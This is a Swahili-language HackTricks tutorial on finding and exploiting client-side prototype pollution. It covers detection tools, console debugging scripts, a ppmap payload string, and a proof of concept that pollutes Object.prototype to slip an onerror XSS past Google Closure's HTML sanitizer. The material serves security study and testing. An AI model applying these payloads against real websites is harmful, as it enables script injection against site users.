Client Side Prototype Pollution

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Kugundua kwa kutumia Zana za Kiotomatiki

Zana https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap na https://github.com/kosmosec/proto-find zinaweza kutumika kwa kupata udhaifu wa uchafuzi wa prototype.

Zaidi ya hayo, unaweza pia kutumia upanuzi wa kivinjari PPScan kwa kutafuta moja kwa moja kurasa unazozipata kwa udhaifu wa uchafuzi wa prototype.

Kutatua hitilafu ya mahali mali inatumika

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Kupata Chanzo cha Msingi cha Uchafuzi wa Prototype

Maranyingi, mara tu udhaifu wa uchafuzi wa prototype unapobainika na zana yoyote, na ikiwa nambari si ngumu sana, unaweza kupata udhaifu kwa kutafuta maneno kama location.hash, decodeURIComponent, au location.search katika Zana za Watengenezaji wa Chrome. Mbinu hii inaruhusu wewe kutambua sehemu yenye udhaifu wa nambari ya JavaScript.

Kwa mifumo mikubwa na yenye nambari ngumu zaidi, njia rahisi ya kugundua nambari yenye udhaifu ni kufuata hatua zifuatazo:

  1. Tumia zana kutambua udhaifu na upate mzigo wa data ulioundwa kuseti mali katika konstrukta. Mfano uliotolewa na ppmap unaweza kuonekana kama: constructor[prototype][ppmap]=reserved.

  2. Weka kivunjo kwenye mstari wa kwanza wa nambari ya JavaScript itakayotekelezwa kwenye ukurasa. Pakia upya ukurasa na mzigo wa data, ukisitisha utekelezaji kwenye kivunjo hiki.

  3. Wakati utekelezaji wa JavaScript unapositishwa, tekeleza script ifuatayo kwenye konsoli ya JS. Script hii itatoa ishara wakati mali ya 'ppmap' inapoundwa, ikisaidia kutambua asili yake:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Naviga nyuma kwenye kichupo cha Vyanzo na chagua "Endeleza utekelezaji wa script". JavaScript itaendelea kutekelezwa, na mali ya 'ppmap' itachafuka kama ilivyotarajiwa. Kutumia kificho kilichotolewa hufanikisha kutambua eneo sahihi ambapo mali ya 'ppmap' imechafuka. Kwa kuangalia Mfumo wa Wito, mihimili tofauti ambapo uchafuzi umetokea unaweza kuchunguzwa.

Unapochagua ni mhimili upi wa kuchunguza, mara nyingi ni muhimu kulenga mihimili inayohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype mara nyingi hutokea ndani ya maktaba hizi. Tambua mhimili unaofaa kwa kuangalia kiambatisho chake kwenye faili za maktaba (inayoonekana kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye mihimili mingi, kama ile kwenye mistari ya 4 na 6, chaguo la mantiki ni mhimili kwenye mstari wa 4, kwani unawakilisha tukio la kwanza la uchafuzi na hivyo chanzo cha msingi cha udhaifu. Kwa kubonyeza kwenye mhimili, utaelekezwa kwenye kificho dhaifu.

Kutafuta Vifaa vya Kielelezo cha Script

Kifaa ni kificho ambacho kitatumika mara moja udhaifu wa PP unapogunduliwa.

Ikiwa programu ni rahisi, tunaweza kutafuta maneno kama srcdoc/innerHTML/iframe/createElement na kupitia kificho chanzo na kuangalia ikiwa inapelekea utekelezaji wa JavaScript. Mara nyingi, mbinu zilizotajwa zinaweza kutopata vifaa kabisa. Katika kesi hiyo, ukaguzi wa kificho chanzo safi unafunua vifaa vizuri kama mfano ufuatao.

Mfano wa Kupata kifaa cha PP katika kificho cha maktaba ya Mithil

Angalia andishi hili: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Kurekebisha upya mizigo kwa maktaba zenye udhaifu

Kupitisha Wabainishaji wa HTML kupitia PP

Utafiti huu unaonyesha vifaa vya PP kutumika kwa kupita kwa usafi uliotolewa na baadhi ya maktaba za wabainishaji wa HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Marejeo

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated